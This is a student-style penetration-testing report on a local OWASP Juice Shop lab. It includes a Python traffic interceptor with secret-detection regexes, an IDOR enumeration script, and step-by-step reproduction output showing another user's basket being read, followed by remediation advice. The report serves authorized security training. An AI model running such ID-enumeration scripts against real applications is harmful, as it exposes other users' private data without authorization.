Penetration Testing Report

Mini Traffic Interception & Vulnerability Scanning Tool

Target: OWASP Juice Shop (local instance)

Tool: Custom Python HTTP Proxy & IDOR Scanner

Tester: DAANIYA ABSAR

Date: August 16, 2026

Classification: Confidential – Authorized Testing Only

This report documents a self-directed penetration testing exercise conducted entirely against a locally-hosted, intentionally vulnerable application (OWASP Juice Shop) for educational purposes. No external or third-party systems were tested.

Contents

1 Executive Summary

This engagement involved building a custom HTTP interception and vulnerability-scanning toolkit from scratch in Python, then using it to assess a locally hosted instance of OWASP Juice Shop – an application intentionally designed to contain realistic web vulnerabilities for security training.

The toolkit consisted of three components: (1) a traffic interception proxy built on `mitmproxy` that logged all HTTP(S) requests and responses to a SQLite database, (2) a passive scanner that automatically flagged missing security headers and potential secret leakage in every response, and (3) an active Insecure Direct Object Reference (IDOR) hunting script that manipulated numeric resource identifiers to test authorization boundaries.

During testing, **one confirmed high-severity IDOR vulnerability** was identified in the shopping basket endpoint (`/rest/basket/:id`), allowing an authenticated user to view the private basket contents of other users simply by incrementing or decrementing the basket ID in the request URL. This finding is detailed in Section 4.

Severity	Count	Summary
High	1	Broken Object Level Authorization (IDOR) on basket endpoint
Medium	1	Missing security headers across multiple endpoints

Table 1: Summary of findings by severity

2 Scope & Methodology

2.1 Scope

- **Target application:** OWASP Juice Shop, deployed locally via Docker (`bkimminich/juice-shop`) on `http://127.0.0.1:3000`
- **Test account:** Self-registered throwaway account (`test@test.com`)
- **Environment:** Kali Linux VM (VirtualBox, NAT networking), traffic routed through a Windows host browser via port forwarding
- **Authorization:** OWASP Juice Shop is an open-source application explicitly built and distributed for the purpose of security testing and training. No production or third-party systems were accessed at any point during this engagement.

2.2 Methodology

Testing followed a standard lightweight web application assessment approach:

1. **Reconnaissance / Traffic Mapping** – All application traffic was routed through a custom MITM proxy to build a complete map of API endpoints and their behavior.
2. **Passive Analysis** – Every intercepted response was automatically checked for missing security headers and accidental secret exposure.
3. **Active Testing** – Endpoints containing numeric resource identifiers were identified via browser DevTools and tested for Insecure Direct Object Reference (IDOR) vulnerabilities by systematically modifying ID values while authenticated as a low-privilege test user.

3 Custom Tooling

3.1 Traffic Interceptor (`interceptor.py`)

A `mitmproxy` script that intercepts every HTTP(S) request/response pair passing through the local proxy (port 8080) and persists it to a SQLite database (`traffic.db`), while simultaneously running passive security checks in real time.

Listing 1: Traffic interceptor with integrated passive scanner

```
import re
import sqlite3, json
from datetime import datetime

def setup_db():
    conn = sqlite3.connect("traffic.db")
    conn.execute("""CREATE TABLE IF NOT EXISTS requests (
        id INTEGER PRIMARY KEY,
        method TEXT, url TEXT, req_headers TEXT, req_body TEXT,
        status INTEGER, resp_headers TEXT, resp_body TEXT, timestamp TEXT
    )""")
    conn.commit()
    return conn

conn = setup_db()

SECRET_PATTERNS = [
    (r'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}', 'JWT'),
    (r'AKIA[0-9A-Z]{16}', 'AWS Key'),
]

def scan_passive(flow):
    findings = []
    headers = dict(flow.response.headers)
    for h in ['Content-Security-Policy', 'X-Frame-Options',
              'Strict-Transport-Security']:
        if h not in headers:
            findings.append(f"Missing header: {h}")
    body = flow.response.get_text()[:5000]
    for pattern, label in SECRET_PATTERNS:
        if re.search(pattern, body):
            findings.append(f"Possible {label} leaked in response body")
    return findings

def response(flow):
    findings = scan_passive(flow)
    if findings:
        print(f"WARNING: {flow.request.url}")
        for f in findings:
            print(f"   - {f}")
    conn.execute("INSERT INTO requests (method, url, req_headers, req_body, "
                 "status, resp_headers, resp_body, timestamp) VALUES "
                 "(?,?,?,?,?,?,?,?)",
        (flow.request.method, flow.request.url,
         json.dumps(dict(flow.request.headers)), flow.request.get_text(),
         flow.response.status_code, json.dumps(dict(flow.response.headers)),
         flow.response.get_text()[:5000], datetime.now().isoformat()))
    conn.commit()
    print(f"Logged: {flow.request.method} {flow.request.url} -> "
          f"{flow.response.status_code}")
```

3.2 IDOR Hunting Script (`hunt.py`)

An authenticated active-testing script that extracts the numeric ID from a target URL, tests adjacent ID values while attaching a valid session token, and reports the resulting status code and response size for comparison.

Listing 2: Authenticated IDOR testing script

```python
import re
import requests

TOKEN = "<redacted JWT session token>"
HEADERS = {"Authorization": f"Bearer {TOKEN}"}

def hunt_idor(url):
    match = re.search(r'/(\d{2,})(?:/|$|\?)', url)
    if not match:
        match = re.search(r'/(\d+)$', url)
    if not match:
        print("No number found in this URL to test")
        return

    original_id = match.group(1)
    print(f"Testing around ID: {original_id}")

    for test_id in [str(int(original_id) - 1), str(int(original_id) + 1)]:
        test_url = url.replace(original_id, test_id, 1)
        r = requests.get(test_url, headers=HEADERS)
        print(f"  ID {test_id}: status={r.status_code}, size={len(r.text)}")
        if r.status_code == 200:
            print(f"    -> {r.text[:200]}")

hunt_idor("http://127.0.0.1:3000/rest/basket/6")
```

4 Findings

4.1 [HIGH] Insecure Direct Object Reference (IDOR) on Basket Endpoint

Severity	**High**
CVSS 3.1 (estimated)	6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Category	Broken Object Level Authorization (OWASP API Security Top 10 – API1:2023)
Affected Endpoint	`GET /rest/basket/{id}`
Authentication Required	Yes (any valid low-privilege account)

Description. The basket retrieval endpoint accepts a numeric basket identifier directly in the URL path and returns basket contents to any authenticated user presenting a valid session token – regardless of whether the requested basket ID belongs to that user. The application correctly verifies that a request is *authenticated*, but fails to verify that the requester is *authorized* to access the specific resource requested.

Steps to Reproduce.

1. Register and log in as a standard user; note the assigned basket ID (in this case, `6`) and capture the session's JWT bearer token via browser DevTools (Local Storage).

2. Send an authenticated `GET` request to the user's own basket to confirm normal access:

```
GET /rest/basket/6
Authorization: Bearer <token>
```

3. Modify only the numeric ID in the URL to an adjacent value (`5`) while reusing the same session token, and resend the request.

Evidence.

Listing 3: Tool output confirming unauthorized cross-account basket access

```
Testing around ID: 6
  ID 5: status=200, size=946
    -> {"status":"success","data":{"id":5,"coupon":null,"UserId":16,
        "createdAt":"2026-08-16T19:47:24.873Z",
        "updatedAt":"2026-08-16T19:47:24.873Z",
        "Products":[{"id":3,"name":"Eggfruit Juice (500ml)", ...
  ID 7: status=200, size=32
    -> {"status":"success","data":null}
```

The response for basket ID `5` returned a full `200 OK` with real basket contents belonging to **UserId 16** – a different account than the authenticated tester (UserId 25) – despite the request being authenticated only as the tester. Basket ID `7` returned `"data":null`, indicating that ID simply does not exist yet (not that access was denied), which was confirmed by the absence of a `403 Forbidden` response in either case.

Impact. An attacker with any valid account (including a freely self-registered one) can enumerate basket IDs sequentially to harvest other users' private basket contents at scale, including product selections and applied coupon codes. Depending on what additional fields are exposed by similarly-structured endpoints (e.g. orders, addresses, payment references), this class of vulnerability could extend to more sensitive personal or financial data.

Remediation.

- Enforce object-level authorization checks on every request: verify that the `UserId` associated with the requested basket matches the authenticated user's ID before returning data.
- Prefer non-sequential, non-guessable identifiers (e.g. UUIDs) for user-owned resources to reduce the practicality of enumeration even if an authorization check is later missed elsewhere.
- Return `403 Forbidden` (not `200` with null data) for resource IDs that exist but do not belong to the requester, and `404 Not Found` only for genuinely non-existent resources – avoiding both silent authorization bypass and unnecessary information disclosure.

4.2 [MEDIUM] Missing Security Headers

Severity	Medium
Category	Security Misconfiguration (OWASP Top 10 – A05:2021)
Affected Scope	Multiple endpoints across tested traffic

Description. The passive scanning module flagged multiple responses missing standard defensive HTTP headers, including `Content-Security-Policy`, `X-Frame-Options`, and `Strict-Transport-Security`. These headers provide baseline protection against clickjacking, cross-site scripting impact, and protocol-downgrade attacks respectively.

Remediation.

- Set `Content-Security-Policy` to restrict script/style/frame sources to trusted origins.
- Set `X-Frame-Options: DENY` (or equivalent `CSP frame-ancestors`) to prevent clickjacking.
- Set `Strict-Transport-Security` with an appropriate `max-age` to enforce HTTPS on all future connections.

5 Conclusion

This exercise demonstrated a complete, minimal penetration-testing workflow built entirely from first principles: traffic interception, automated passive analysis, and targeted active exploitation of an authorization flaw. The confirmed IDOR vulnerability in the basket endpoint represents a realistic and common real-world bug class (Broken Object Level Authorization), consistently ranked as the top risk category in the OWASP API Security Top 10. Future work could extend the active-testing module to cover order history and user profile endpoints, and add automated confirmation logic (e.g. diffing `UserId` fields against the authenticated session) to reduce manual triage.